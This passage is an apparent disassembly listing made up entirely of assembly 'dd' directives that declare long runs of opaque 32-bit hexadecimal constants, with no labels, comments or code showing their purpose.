		dd 0C1166594h, 0AE4C28F7h, 4370B6E0h, 0DF8BEB35h, 7D71ED98h
		dd 0B4F19F00h, 2412423Fh, 2359C022h, 0C0CEFFEAh, 0D6E253B0h
		dd 3CB3002h, 0F8CDEFA8h, 61F7E6ECh, 7FCF615Ch, 0C8B847EDh
		dd 4A40A0AEh, 73777Bh, 7FE5DCC7h, 948470Dh, 0C43D2A08h
		dd 754183C0h, 0C6A89E15h, 6F021A32h, 7BAA2E31h,	0A1844124h
		dd 0FF564510h, 51398B2h, 0E8E1BB90h, 41839860h,	6C313A37h
		dd 4C6D64C1h, 90C2017Ch, 795DB011h, 70CC49EBh, 0D802D7C4h
		dd 0DD42877h, 20E878D5h, 9C00C258h, 2BD0366Ch, 0B1467CCh
		dd 0D36DC11Ch, 0E0F97CE2h, 0EE187479h, 0A09FFC01h, 1093D65Ah
		dd 646F3671h, 0ACC4A88Ch, 91008CD7h, 0CB2CBE10h, 4EFF5F9Bh
		dd 224C03D4h, 0F2F3E47Eh, 531C6109h, 2E8DC5Eh, 0C274DFE1h
		dd 0EA769A01h, 6A6BE442h, 0C33CEDF0h, 0AA8908F4h, 68F1C53Dh
		dd 7E9E227Ch, 40D4BCE3h, 0A44CC08Eh, 6896333Bh,	5105C590h
		dd 4CE38FF7h, 0D43038A2h, 784D03ADh, 3ADC5BB5h,	0E267E388h
		dd 90B81C0h, 7ADBDF3h, 0CA298207h, 0A967B419h, 4F6D02DCh
		dd 0FE9EF1DCh, 9B884CD8h, 2710048Ch, 38F2A4B9h,	2709075Eh
		dd 40D72D71h, 0F504ACB4h, 0A7072107h, 6049033Dh, 2EEA9814h
		dd 1FC8B571h, 0D4E8E561h, 6706949Ch, 89BAD743h,	144531A0h
		dd 21AA7230h, 0BC237E78h, 329EC899h, 0D95826D0h, 7A3E3FEBh
		dd 8137631Fh, 59BDF047h, 0FC087EA2h, 4DC409D3h,	34008470h
		dd 0AD80CAFAh, 9EE20F2Bh, 0E320131Ch, 3038E200h, 0F1FCDFCh
		dd 0BF97261h, 0F94E3FDEh, 428000E0h, 0F43B128Dh, 6BA30900h
		dd 9754F81Fh, 4C370A8Fh, 140D441h, 1801E68Eh, 4CD42224h
		dd 541524EEh, 0A089E707h, 91449F4Bh, 92EF80C8h,	25A00304h
		dd 0C8C1BA37h, 0C446C63Bh, 491A4427h, 510AC28h,	64B603B0h
		dd 8A407028h, 60E09D95h, 0F02407C2h, 0E844A8C0h, 4F88809h
		dd 9344C498h, 0EFB8255Dh, 28A5BCE0h, 43CD0602h,	6254A036h
		dd 79B0F9A4h, 0DC1876h,	8A19D137h, 6DA6FE44h, 80C5EF5Fh
		dd 0C0BE241Eh, 0E0E29D6Ah, 0D5795879h, 34009D18h, 8192B57Fh
		dd 0F03FF3ECh, 4CC471EDh, 0D4FC1CD9h, 2DC2008Ch, 80D508C1h
		dd 0A7FEAC98h, 0FA8F5516h, 93ABA807h, 76A45211h, 3B112C32h
		dd 137848B0h, 18D19F90h, 4C6DCF61h, 0BA0F6F23h,	0A061A5DAh
		dd 0AAC0FCA2h, 80F3DAC2h, 77B90B00h, 0AB8B3960h, 0B4135401h
		dd 33B81265h, 8E0023CFh, 38208841h, 0FEC680C4h,	1882230h
		dd 5B90F934h, 24C3D7B0h, 29C35AE0h, 20EA058Ah, 0B2459148h
		dd 8413465h, 0B0785E0Ch, 0D24FA817h, 5629378Ch,	0DD465E04h
		dd 89E6D605h, 294CA4A9h, 27C1758h, 5E0FE3B9h, 0C1040FBEh
		dd 88ECA967h, 0F79833E6h, 0EA060194h, 126AFE67h, 0C8748B68h
		dd 5BA4C1CFh, 768C4FEh,	0D801D9ECh, 0AFE9222Fh,	193BFF3Dh
		dd 3BC4A0F8h, 1F111467h, 90881D96h, 0E62D6494h,	5FD80430h
		dd 4FD5C434h, 63793866h, 3FF61D35h, 245C41C2h, 6E7CA940h
		dd 96908C37h, 39B64229h, 9F24476Eh, 30D380DCh, 93CD87FBh
		dd 3940E38h, 4B5E4778h,	0D20171Dh, 3B204E16h, 2DA23F90h
		dd 0B8D082AEh, 4428C789h, 92F86130h, 978B7470h,	0E43B1800h
		dd 3F5F559Dh, 0E5D1C009h, 6130E4A8h, 0AC70C103h, 231B40AFh
		dd 4C80B25Eh, 73849Ch, 93D82705h, 5DBD38E2h, 48928B74h
		dd 849C6098h, 570BA71Fh, 0A86C2105h, 18A0D2CFh,	92DD16E4h
		dd 4E5CB271h, 0DE83C8DBh, 0AFB0DDA2h, 0B37BB805h, 0FD68C180h
		dd 2723298Ch, 0B400A7D9h, 1C4E8AAEh, 7C5A29h, 3DC68740h
		dd 340F65BDh, 83BB1909h, 0B01C026Dh, 0FE5C826Bh, 35600F85h
		dd 0BF0A9A76h, 0B90D4900h, 75E4418h, 0A8140E7Dh, 0B473272Bh
		dd 0E3407568h, 0F8810202h, 31870AEFh, 20807089h, 980DAAEAh
		dd 48E7AF25h, 25D69280h, 0DC8FB64Bh, 551DF62h, 0D289D8FEh
		dd 3B1074F1h, 0CB5A1061h, 2FDE1310h, 24C68D04h,	0A4EF5F0Bh
		dd 0E498F298h, 0E759C27Ch, 0A00C4D4h, 0B088277Eh, 0BEA30BFCh
		dd 3045C1A4h, 0A060CFE4h, 5B00518Dh, 0CC372748h, 4A6B363Dh
		dd 0C474C81Dh, 1130178Ah, 2FF285DDh, 0C88FCC81h, 535E7100h
		dd 0BE26B0B6h, 82C04C3Fh, 81301336h, 8E8D3B3Ch,	4DB08C37h
		dd 0A202B2D9h, 34D76894h
		dd 45476D2h, 0A1616DC1h, 8A78215Ch, 782FDB78h, 8A79C198h
		dd 0C51602D5h, 5DED767h, 8142D454h, 76D85C1Bh, 773E7846h
		dd 964E9B80h, 732F95A2h, 205C8B5Ch, 6E433CC0h, 2A97E93h
		dd 60968E80h, 4D972846h, 1A16C0CCh, 1407799Bh, 0CFB722D8h
		dd 0D6A8A049h, 0C083028Eh, 914107A1h, 5B0B3C59h, 7368ED77h
		dd 71782168h, 14E1876h,	0B5C73518h, 0E8A75384h,	0B8A206D7h
		dd 0D1400076h, 0B819A330h, 22FA0E40h, 48B446Dh,	91107071h
		dd 11453F0Ah, 0A0902538h, 0E8B0D1B3h, 9668A300h, 0F8721F48h
		dd 16C4024Bh, 0B9A4DF61h, 2B1248F8h, 74B38A22h,	0C531D5B2h
		dd 2A758C4h, 17F67909h,	0C4DE66FAh, 3208469h, 2FA0A0C8h
		dd 0C4E7B156h, 0D160D564h, 4205E2A5h, 778D5527h, 0B03884E1h
		dd 0B08CD4B8h, 0F4F501CAh, 0C8086031h, 9CB470AFh, 2C44BA41h
		dd 0CF23883Ah, 810E4900h, 2CAF63Fh, 0DF087028h,	44702FFFh
		dd 0F3E4730Ah, 5443D422h, 9196A03Fh, 0EBA505ADh, 726DEDAh
		dd 47197195h, 898881B8h, 1D3189A0h, 1EF8F1DFh, 0CDB80C8h
		dd 2A1A382Bh, 0E0773E2Dh, 0D3B8E014h, 23C83AC8h, 16C70034h
		dd 0C2FC88FFh, 709B5098h, 91CC152Dh, 71CA8B80h,	5D96000Ch
		dd 2B48E578h, 242CE493h, 70BA08h, 2B1AAC27h, 10C05DC2h
		dd 0CB323569h, 3C900B38h, 44463E45h, 4656509Ch,	995F0378h
		dd 0B72CADB8h, 0C587F20h, 0E05913EEh, 0B6780D22h, 54212B51h
		dd 96ECFB98h, 5014E46Eh, 0EA38EECCh, 0B8DF2D8Eh, 77447447h
		dd 0F0688960h, 12002FB0h, 0F59D7191h, 0B00F3126h, 9FF22010h
		dd 0DF5DBF08h, 0E0122707h, 6467EF09h, 0E4603964h, 77026C3Eh
		dd 3C38B2ACh, 0EB30C07Eh, 0F75F808Ch, 4B10BC4Dh, 2ED81820h
		dd 3D260AA3h, 1D948BF1h, 8A0620C2h, 0D666E30Bh,	3EBC76A0h
		dd 0E243DC0Fh, 0DA863034h, 0C85DFD0Bh, 98744609h, 0EA9B2D90h
		dd 2D878C22h, 692C0209h, 7F3F07AAh, 707698A0h, 0C74E0467h
		dd 2EB2E0A3h, 550F4032h, 7CCCB8CFh, 14E80EBh, 0F68C8F44h
		dd 374B26AFh, 0BC9005C8h, 7A94016Bh, 6C581563h,	0F362803Ch
		dd 2BD9C6Fh, 0DDC58036h, 0D0D0C08Fh, 72221604h,	1CFD7F7Dh
		dd 1B05A3ACh, 5EC16CC0h, 20D54C03h, 727C9865h, 3EE94B36h
		dd 1FDC23A8h, 1BB28BB6h, 57D080FBh, 39445884h, 670DA906h
		dd 0B20041DFh, 139A4087h, 52065BCh, 6C9D391Bh, 4B50A6E6h
		dd 2FC8D88Ah, 0C29D0BC0h, 99CA022Eh, 0B88D8654h, 0F0524162h
		dd 0C5C1820h, 0C2E3B063h, 0FA496718h, 46690168h, 0C78917D9h
		dd 0A884C83Ch, 34AC24E8h, 0E48CD6ACh, 0A53804D5h, 0F30D2C9Ah
		dd 56450B54h, 306C78B3h, 9DC98623h, 0A890AA88h,	9FA4BD40h
		dd 2F11C09Fh, 0D1B2A685h, 7E5A07E0h, 984B410h, 0BDAB6004h
		dd 0EA101A4h, 0C0166985h, 0D6ECAF34h, 8AB6C73Ah, 9804C4BCh
		dd 1CCB467Eh, 911804EEh, 1DBBFD71h, 8178C222h, 0A0838F72h
		dd 547BE22Fh, 0F4CDA11h, 3070DF25h, 0B402448Ah,	0C1000343h
		dd 3066476Bh, 0B61002AFh, 0AD71CB94h, 55A75A09h, 6078CE73h
		dd 5C9CC1FEh, 5601439Fh, 0A289B8AAh, 0F6B1A53h,	0A8219C0h
		dd 0E47CC64Bh, 0B005AB02h, 2A85E9Bh, 0EA230F44h, 26144070h
		dd 20F01B29h, 0D49044BBh, 93906195h, 4C0987FCh,	9F2C7445h
		dd 0DC228678h, 5C4430BAh, 2435E49Dh, 7E981DD4h,	68003846h
		dd 84B093F9h, 0F001CF15h, 559D1076h, 487C2B63h,	0EE87207Eh
		dd 8C946713h, 1745F0C8h, 3E2DFF6Eh, 752310h, 0C96BA874h
		dd 0DE09E2B5h, 4812E453h, 0F6343F84h, 5ED61619h, 9E788B7Fh
		dd 135D07A3h, 6109D067h, 0D54F3CFFh, 6C614CC9h,	128DB028h
		dd 18F7E039h, 0AD28CC60h, 9DB2970Eh, 41FCDCC1h,	2B8BD2F8h
		dd 2C1264CAh, 44E0882Eh, 0A76E706h, 0FB1CCC4h, 578E2CEAh
		dd 32BF2040h, 870028A9h, 9693C25Eh, 0E2BC45E5h,	901BE83Dh
		dd 345217D4h, 9078159Dh, 3A5FD802h, 4052BEA2h, 686495h
		dd 94F89E24h, 0D9A2F907h, 8613F00Fh, 8024220h, 43145E90h
		dd 63F8C87Fh, 0FF135F72h, 60C21368h, 0A6890227h, 45259CD2h
		dd 91D83514h, 9BCE80D6h, 90B520F5h, 0C4E35BC0h,	4E10A64Ch
		dd 190088F2h, 773A35EDh, 6109F60Dh, 0C0D4E40Fh,	508A4354h
		dd 3190BC5Bh, 2350EA06h, 980D001Bh, 0C9A05A85h,	40E7FA58h
		dd 0B56030E4h, 41003501h, 61A04558h, 96C530D7h,	922E8B98h
		dd 0DD64C067h, 6341B267h, 0AEE228E1h, 71EBB0B0h, 1880598Ch
		dd 10DCBC9Bh, 103F12C2h, 94836BB0h, 0C40F8D18h,	7C203BE1h
		dd 4D53B2h, 620AA19Fh, 6D3061C2h, 12109D12h, 2F96509h
		dd 5EBC6C11h, 879E8894h, 5A490166h, 74E89067h, 5C00C8E9h
		dd 2991BA3Bh, 4070DEF4h, 942C9DC3h, 46D6ECE5h, 3EFE4030h
		dd 3F6040E8h, 676DFFE8h, 408A4FFCh, 0E8261350h,	0BD524CF7h
		dd 0A33785D8h, 0D2090827h, 0BDDC04BCh, 80B92776h, 0A017D7F8h
		dd 71E59E00h, 0F7C88695h, 1CA14DE0h, 44075850h,	4497901Dh
		dd 253B71A4h, 6CD02EC4h, 7B600F70h, 0D5DEC061h,	2D470091h
		dd 32E53921h, 4F0156B3h, 141A06C5h, 48501572h, 7581CCh
		dd 0EFBA4FC4h, 46459A42h, 0B2ED230Fh, 6CDF4635h, 117330E1h
		dd 684942F8h, 9B7CD712h, 0EB885CE8h, 632010A8h,	6E780CEDh
		dd 0C7C02EF7h, 400AB098h, 0E8BAC527h, 5F7B2680h, 1C360981h
		dd 270E72F5h, 1764A848h, 0E57C0400h, 1CCDDE79h,	6CC12539h
		dd 0E5403C12h, 724CBDEBh, 4F348E5Ch, 5F82BE0Ah,	76658E8Ch
		dd 3C04BC60h, 90D96675h, 3D6C2620h, 873A3703h, 0A0028D07h
		dd 1F2FDEFh, 68A73692h,	2B15F94Ah, 0CBBBC82h, 505E9FC0h
		dd 607088B3h, 3E67917Ah, 86009D1Fh, 1CA68DFCh, 3A53D751h
		dd 0F180C252h, 197172A4h, 5D3A9CB2h, 3B27F9FAh,	0B9E8E04Ah
		dd 96B8E807h, 0AC7CC984h, 77A17E40h, 0C6F60045h, 7B6B0792h
		dd 0C1001968h, 0E7375A91h, 2F4783EBh, 4CC7A036h, 146073C4h
		dd 92025417h, 2BA48C91h, 4E90D86Eh, 0D03482DFh,	0D4200125h
		dd 1C5ADCCh, 79E77062h,	0F4CAC7CEh, 588AE01h, 0A16F4BB8h
		dd 0C7606CCCh, 7A55A2ACh, 0F7275CA9h, 3C58B472h, 0E0B67E40h
		dd 9301E068h, 22B89E9Ch, 89071426h, 0F341E072h,	0E5C8A5BDh
		dd 0C29514D3h, 79CCF99Ch, 8D18D6h, 18EAA394h, 0DBCE2FD8h
		dd 79A0E03h, 496DA98h, 0DE6643C8h, 99D40055h, 0A0679Dh
		dd 91B98102h, 0C3AC86EDh, 93765009h, 0A068B8B4h, 6645121Fh
		dd 5DC0F037h, 9C24E44Bh, 2152B422h, 250CD767h, 0C4EC31C0h
		dd 0B334B019h, 1C3288E3h, 2728F650h, 1C2C7C52h,	0A0A558EAh
		dd 8A7DBCF0h, 9F2B74A2h, 0E4668C8Bh, 668ED61Eh,	0BDFFAC06h
		dd 0C2F4A311h, 0EB1B00D1h, 801205C3h, 24BDCB47h, 3A1CA54Fh
		dd 0F2BAC80h, 26B1D230h, 714570C0h, 95C9A46Ch, 0F3A8F85Ch
		dd 0BE52C2E8h, 611BC220h, 64DF2172h, 23C107CEh,	188185F1h
		dd 0C2DB4CB7h, 9FF09DE8h, 8910A52Fh, 88B2C004h,	1784B335h
		dd 0C0D29005h, 5E74D47Dh, 6B18E7h, 0CF75CD91h, 34D84268h
		dd 7E8CCA4h, 0A8C0F04Ah, 0E054570h, 9A0C6EBBh, 0B8C658A6h
		dd 0A8BCC200h, 0E8B19DD1h, 0ADD41A9Fh, 8B612121h, 8116700Ah
		dd 0B9649D1Fh, 981DCD1Ch, 2F0DDB02h, 25844886h,	869001Ah
		dd 0E9709ACAh, 1500D5A1h, 0F97544E7h, 0DD85A0h,	0DC0511EBh
		dd 74B98E10h, 90278713h, 923B1402h, 44984772h, 0B4560D7h
		dd 3C4C01AFh, 0ACDFEA49h, 7FD050CCh, 0E4ABE702h, 5FFF8FDFh
		dd 0F21D70h, 692CD964h
		dd 0F8041F06h, 355E9160h, 0E62C41AFh, 3A3B263Eh, 8282285Fh
		dd 8416CC5Fh, 0CBE5CE8h, 0A010BC50h, 4491BB60h,	0EC2BD2DBh
		dd 430D24E4h, 7E0A8520h, 0A42868E7h, 281ED8AAh,	1B4CD818h
		dd 88200F58h, 0AA03C8A3h, 28CDEB7Eh, 8482A58Eh,	2F06208Fh
		dd 3E2BD6F8h, 7D44402Ah, 92228CBCh, 767E02ECh, 461F9173h
		dd 2265D1ECh, 5E796794h, 8B310D90h, 823C1B31h, 0A1909B89h
		dd 0D527A5A4h, 3064B822h, 0AC3450BDh, 8E78587h,	6B0221A0h
		dd 77EF2EF8h, 0A1D130E8h, 0C601BD4Bh, 455F925Eh, 4844D301h
		dd 8D21BC78h, 133C2686h, 8CB61661h, 9A184558h, 0B3A84F9Ch
		dd 0EE33918h, 5C7CA595h, 426E5408h, 68001A3Dh, 30C15614h
		dd 0D718D6Bh, 0E890BCDCh, 0F8A5CE00h, 110811Ch,	71D71FF5h
		dd 27024F4h, 66DD43B7h,	6B2F0C7Ch, 8E561F04h, 209B14A2h
		dd 41BC2FCAh, 42704F23h, 9C4A02A0h, 7801A8D8h, 8CE17C3Ch
		dd 8A8A793h, 6BD11610h,	0AEB8BC1Bh, 0F852880h, 916293C7h
		dd 60F99C08h, 0C46513C4h, 6E16A10h, 2008038Ah, 5A204195h
		dd 0F729201Bh, 2016B120h, 0C0204305h, 0EB7420D5h, 506F6431h
		dd 88870B1h, 190C69B5h,	402C200Ah, 0DA66D586h, 62511C10h
		dd 2A2898Ch, 23DEB02h, 7E03017Fh, 0CC201056h, 89FE182Bh
		dd 0C83B5C10h, 608ED99h, 0E38608F1h, 0C28B408h,	20080B26h
		dd 64453240h, 4D7C1DEh,	6A06D907h, 0D262081Eh, 2EF4191h
		dd 3E064FBEh, 0C4FA7099h, 615A820h, 0C67917DAh,	0A90E18F1h
		dd 3008DF62h, 68510344h, 0F2C32010h, 10057010h,	0E21006F4h
		dd 29721190h, 0C9AC9166h, 20CC9231h, 6401124Dh,	1B108C6Bh
		dd 55EF086Eh, 0C011A0FBh, 108C2E5Ch, 0AB0830B3h, 0B91895F3h
		dd 5AD91880h, 0C6750B10h, 0B1DCF408h, 7E8101FBh, 0E131A003h
		dd 0E15509B8h, 326A8190h, 0A46BF1D4h, 389198C4h, 108827CDh
		dd 0AA158414h, 2F1F10A4h, 8454218h, 180E5A9h, 2E28C67Ah
		dd 11C471E9h, 2B0C080Dh, 0EC66F661h, 3161D808h,	0CA0851D2h
		dd 0FA308C8Fh, 6412085Fh, 9134183Eh, 183E61Ch, 9502EAFEh
		dd 46CFF4A5h, 0C9FA0DC8h, 4046E840h, 8167A37Bh,	0A084508h
		dd 90F0EEB7h, 72AE180Ch, 8022A518h, 6282F7E7h, 23A02422h
		dd 0A343B04h, 688FC87h,	0DD7C0FFEh, 20DF2090h, 0BB332ABDh
		dd 181FB9FDh, 50747B08h, 8C66667h, 64B1462Ah, 0CD97941h
		dd 0C476E96Ah, 6EB2369h, 0FC187360h, 0DB2E80D4h, 0D851CC81h
		dd 8F02E6C2h, 89DE5849h, 2837DCF9h, 568CC8C4h, 642C085Eh
		dd 47999E3h, 9E0A6F42h,	4403928Ch, 4678D54h, 34D32D72h
		dd 30413264h, 2A03F4F9h, 0CB181055h, 0F9873103h, 8882141h
		dd 0F708F899h, 84F11540h, 1008DE10h, 407A475Bh,	78402632h
		dd 8CFB40AEh, 31D05349h, 90A9087Dh, 0C0A2D402h,	180306FDh
		dd 8818045Bh, 0A466D9F8h, 0B099324h, 417390C6h,	0DEE02CBCh
		dd 10706368h, 50B0ABB5h, 7C05FFBCh, 0D3C4F9A4h,	0C200FCBDh
		dd 0A6D0E9BBh, 8500A1FEh, 4FBEBE4h, 2CC9A51h, 0F8BDF705h
		dd 32B1CD2h, 0A888F998h, 3A9FB801h, 0DF8122CEh,	0A4E8BDFBh
		dd 75A078BFh, 0E1CCD20Bh, 1A8B0693h, 0CE890h, 296975BEh
		dd 0C12C3E9Ch, 60761D00h, 2D3F0178h, 0F10B290h,	10A6E368h
		dd 3D0F001Dh, 0EB5BDD5Eh, 22BC2318h, 71476F60h,	45DF4F0Bh
		dd 330918h, 45D78B20h, 0C41870B5h, 4720A4E0h, 0A5F0EDh
		dd 0DC049A8Eh, 11232446h, 74A43950h, 0AD4E6719h, 7EF08F40h
		dd 0A558C01Ah, 733D6164h, 4D681701h, 7288675Ah,	2869288Bh
		dd 5D5B46Ah, 800D43Ch, 5CBD639Ch, 0E9F80311h, 4355C44Fh
		dd 9D078800h, 24354AD7h, 670C02C3h, 56162396h, 78825B07h
		dd 0D900061h, 118BAE1h,	0B58978Bh, 0BDF800E7h, 2B3F7351h
		dd 0AB001FE2h, 10CA6302h, 30C434FBh, 0A668C816h, 84312306h
		dd 0EA789120h, 2AB901F3h, 28A80FDDh, 38C06B6Fh,	12EA127Ah
		dd 8042C4B7h, 2169F9B4h, 58D1080Fh, 19858CB3h, 686B1DD8h
		dd 7A5F1F01h, 8E2D3D01h, 41B4AF3Fh, 1735CB8h, 44201469h
		dd 5A92007Ah, 0B8F5BF48h, 0ED1D7B9Ah, 144095Dh,	0B300DDDCh
		dd 21936F0Ch, 0A767F41Ch, 0B28CA8F0h, 0E7283A26h, 0CFDC450Fh
		dd 233BB415h, 79257CDDh, 94008050h, 213B9383h, 18E0A7Fh
		dd 5940679Ch, 0ED99B49Dh, 90708831h, 0DA0B0A9Bh, 0FBC803FCh
		dd 72B0E113h, 0A5622667h, 0D09FF378h, 0E160630Ch, 7800A690h
		dd 1A7C24B8h, 0C9E9D62Eh, 0B4C01188h, 9878D879h, 0B8A3B2E6h
		dd 32FA08C8h, 61679D00h, 0FB56C40Ch, 97CF003Ah,	46D34B69h
		dd 6D01B323h, 0F522672Eh, 25E41968h, 6892ACh, 3F58ED96h
		dd 0FF32010Dh, 0D6F5B092h, 41928428h, 7F1C1880h, 2D6B3002h
		dd 0A7E4DAE0h, 0C748700h, 0C167936Eh, 54431398h, 0D0AC9708h
		dd 356F9C2Eh, 0CB0B8800h, 10B875B4h, 0F3B5B67h,	1A05F64h
		dd 6D316109h, 6B683600h, 0D99BDB70h, 89A60095h,	2761CB1h
		dd 78C04D75h, 29B9C54Bh, 0A3200F24h, 0F5E0D917h, 84C452C1h
		dd 24476840h, 1000501h,	0BF215067h, 4A5E32Ah, 0EC11E608h
		dd 0E50109F4h, 0D5E8204Eh, 3E6623BBh, 201B1330h, 45D3186Ah
		dd 22C6E2A8h, 46B91701h, 0BCCC2A2h, 74059C21h, 0E9E400AEh
		dd 450218DEh, 9C121890h, 8820ED7Ah, 0EC44E23h, 677364F4h
		dd 8778F113h, 8F067F91h, 7B78CBF3h, 17680430h, 0D99371D6h
		dd 8CA80440h, 141DEF40h, 5424239Ah, 0D8AAD68Ah,	143ED09h
		dd 0DEC94518h, 0F588518Ch, 0BD0C4438h, 18C6CAC4h, 14980Dh
		dd 6350E255h, 686065A4h, 1C0E4891h, 75C16491h, 683074C4h
		dd 789A3CE9h, 29033A62h, 0E094C9CFh, 90091725h,	21AB40A4h
		dd 0C2CCA224h, 91C7A440h, 110125Ch, 0B78C0A3h, 840E4DCAh
		dd 3F5430h, 0A1430CE0h,	0E7E33523h, 0D4840740h,	1917F7F7h
		dd 252E480h, 7109D91Eh,	82DB0CF4h, 5946860h, 190C90B8h
		dd 0F33F9A11h, 8016065Fh, 0C2A1787Eh, 72239C18h, 2C6B24C8h
		dd 0F08BFA09h, 1BB88414h, 0DD473F40h, 831E8F70h, 14031FE9h
		dd 18EAB01h, 0DB11BFB9h, 0DC7F2041h, 33007084h,	0F28052F9h
		dd 0F821A5h, 0CB1F6903h, 1C3D3889h, 0B966003h, 0A0E036C7h
		dd 990E0Fh, 93F6D5D3h, 9B09C4A7h, 6917A4A0h, 81981B4Ch
		dd 9C826777h, 4B94B040h, 69BD1EC8h, 0EC134147h,	0D1676E85h
		dd 0A83424C7h, 0EEC6010Ch, 6AC1A0B0h, 10F010D0h, 540326FEh
		dd 6D412E02h, 6F204046h, 7B4A517h, 0F1393D8Ah, 71182354h
		dd 3B1CCD53h, 3F34A415h, 4808C8B9h, 3E0E51DCh, 2D758C90h
		dd 23731698h, 6F7C4974h, 0A1FE7806h, 48C12100h,	751C832Ch
		dd 68852802h, 7FD90FA8h, 0CEE00BA3h, 0F5296A91h, 62950C03h
		dd 0B167799Ch, 27F04061h, 0A20707ECh, 85731C70h, 0C408034Fh
		dd 88122EF1h, 4119BFh, 0A96B238Eh, 958E0ABh, 9C80A239h
		dd 82A5BC5Fh, 6C040226h, 7F9CB384h, 987488h, 0F90B3BD4h
		dd 0A45AC4B0h, 0E2320880h, 85522CF6h, 0A867068Ch, 610630D1h
		dd 4D86C421h, 24365028h, 754B09C1h, 0B8F89C67h,	9199D2Fh
		dd 0A5542E84h, 0B88577C0h, 410DF022h, 10606BFCh, 0E8637C12h
		dd 70CD2C45h, 2EC1D84h,	158467B9h, 8FBA1461h, 96BCAD28h
		dd 87F31404h, 78F69492h, 96C1003Ch, 79838C8Ah, 4B00A3F9h
		dd 5169B9C6h, 0C3D6D23h, 49A8C455h, 2024C7B0h, 0B50C2CB3h
		dd 0F434C179h, 0FBBF1F8Ah, 53D70C56h, 144FA4C9h, 5EC40CB0h
		dd 34908080h, 30E9AD70h
		dd 0ED004E8Ch, 0CEB29505h, 0D79E94h, 7235F0E3h,	570263FCh
		dd 0A4A085E5h, 0ECCC1421h, 1D46F604h, 0DAC4B4F3h, 4C48985Ch
		dd 0B83A163Fh, 80150E34h, 6C501271h, 2A4D78ECh,	609078E8h
		dd 0C803B58h, 0B0E6EF67h, 0A880516Bh, 0C889FBC8h, 0B70A5B28h
		dd 0C443B078h, 0F70AE32h, 1CB42AA7h, 0BAD99CC0h, 9F0047C2h
		dd 21E859DCh, 0C3FEEh, 0D0DF4699h, 9CF1CE0Bh, 67324C04h
		dd 69006EC5h, 0F3C6724Fh, 376C630Eh, 805AE941h,	0B6351B34h
		dd 6AA43A9Bh, 0B45FCAh,	6B0BE64Dh, 857E04C2h, 0A4082550h
		dd 6429974Ah, 1710BCF8h, 15BC66Fh, 93C48D4Ch, 15424ADh
		dd 284BE136h, 8A9D0094h, 90B2205Eh, 3F009EE4h, 0B9FC9C2Ch
		dd 4A9423B0h, 672C41B5h, 30C588D2h, 0DE19FE4h, 0BAB75C48h
		dd 1053C58h, 218B8A09h,	730818AEh, 0A800A428h, 97FFA769h
		dd 1C932D5h, 5DDC6B60h,	0C7BA4BEEh, 0DD2D1DF8h,	9C161224h
		dd 0B859CC10h, 0EEBE2478h, 0C1140728h, 0B1B98345h, 0D3E2000h
		dd 0BA7A9DF9h, 16C00704h, 30EA4F68h, 4CE00C1Eh,	8C256905h
		dd 0C4C0FFBEh, 1BB922Fh, 27297C90h, 0F0063E1Fh,	217651Dh
		dd 4CE076A3h, 0E498906Dh, 0F82CB0D4h, 6CDE48D7h, 0E678A08Ch
		dd 4E04817Eh, 0B4A01F0h, 0C8D05CD5h, 2CB58708h,	1D41F37h
		dd 9B4A75E9h, 50FDF523h, 0BBCC9AA0h, 8FE89458h,	217045BFh
		dd 476D18D0h, 288F5009h, 0ED7E149Ah, 9409AC11h,	1420C023h
		dd 0D08476Ah, 107CC958h, 6B02AF26h, 0C64067EDh,	46F20C40h
		dd 3C0E3F00h, 8B5AFD83h, 639D01B4h, 67C35CDDh, 4040759Bh
		dd 4014D440h, 8766D24h,	0B1FC200h, 443D238Ah, 649962D2h
		dd 1586100h, 83A25367h,	392124A8h, 243CED4Ch, 8F88A047h
		dd 0C8E60EC5h, 2CC139FAh, 1F102D33h, 44A2AE9h, 0D581F8BBh
		dd 969F8E70h, 37531281h, 0D368C4B8h, 0C034200Bh, 69188355h
		dd 18E7B01Eh, 8E1C05BBh, 7641302h, 85C4B580h, 6194D06Dh
		dd 7C509C2Eh, 2664675Ch, 0B058DDA8h, 22E91671h,	0D8A40AA4h
		dd 0B297D4E4h, 4BC9F008h, 0ECC40421h, 0E811B25Ah, 9080409Ah
		dd 283F2872h, 86B49024h, 0B8EF09F0h, 9413D29Eh,	3BD8C191h
		dd 10118C0Ch, 40304912h, 65677206h, 0B90148DEh,	27D0C34h
		dd 20ACAA5Ah, 696608DCh, 70D6711Dh, 4A132816h, 23A80002h
		dd 1C34485Ah, 0D3021877h, 0A1893818h, 0AB1DE20h, 2128670Eh
		dd 0A09281B8h, 0E0313CAFh, 45242311h, 9824304Ch, 0A8FD08h
		dd 3E204E68h, 0C4193327h, 0D84865F4h, 0BC39602Ch, 0CC04B327h
		dd 58CA1B2h, 61FC899Fh,	806C3214h, 3E676BBBh, 6AB8C418h
		dd 9E78882Ah, 352330C2h, 0E6CCE89Ah, 77A5168Fh,	3FE406ACh
		dd 9C29A049h, 105EC7Dh,	0A04AB682h, 0D01C8A2h, 2960BCE1h
		dd 3DA0D428h, 3F4D8E05h, 0BF900230h, 0CA5E6601h, 96B48118h
		dd 76C197C2h, 0EC346EE4h, 156A014Eh, 0AF771EC1h, 14D8209Ch
		dd 3E289060h, 96C1C9Dh,	7928350Bh, 0C7631D80h, 32006913h
		dd 6E47C0A7h, 163D789Ch, 0DBABDB7h, 2C714258h, 7D21050h
		dd 5B2E0648h, 0F09A2568h, 88617409h, 54C02F12h,	3B82B37h
		dd 23A9A038h, 300416AAh, 0F90A6773h, 1E2E2802h,	0D81DC8Eh
		dd 6780608Eh, 6E230C1Ch, 107738A4h, 14AB1067h, 8404B69h
		dd 0AD7CC4h, 0E1DD97D8h, 549210C6h, 1E5CB20h, 0A30113EDh
		dd 669EB77Ch, 7345C08h,	0DD8EBD98h, 53EAA3h, 67DCB858h
		dd 1E4123ECh, 0C05B6C9Eh, 128B917Dh, 0D8D545F7h, 40B19A3Ch
		dd 0B82EBA11h, 972384ECh, 0DC10803Bh, 7BB0E761h, 1AE070FDh
		dd 0C24FC607h, 0E22096CEh, 5C7D9507h, 9005F5Fh,	1EC310CFh
		dd 0A700D924h, 619CB42Bh, 0AEA97D7h, 88301F9h, 0D69660D8h
		dd 1300E9D9h, 81306FD1h, 3EEF179Eh, 9FB9C35h, 5491232Ch
		dd 0E7805420h, 0F4004C97h, 71192269h, 0EE1C14FEh, 0C85CE360h
		dd 8194811h, 7187FF1Bh,	0CCC8C4DCh, 6491DEF4h, 80B53909h
		dd 239C0F64h, 18AA60D7h, 0B917B0Ch, 0DD9EC000h,	0FE3EFD38h
		dd 0DB6F02BEh, 67C58BA2h, 500C9AC3h, 70210993h,	334941D9h
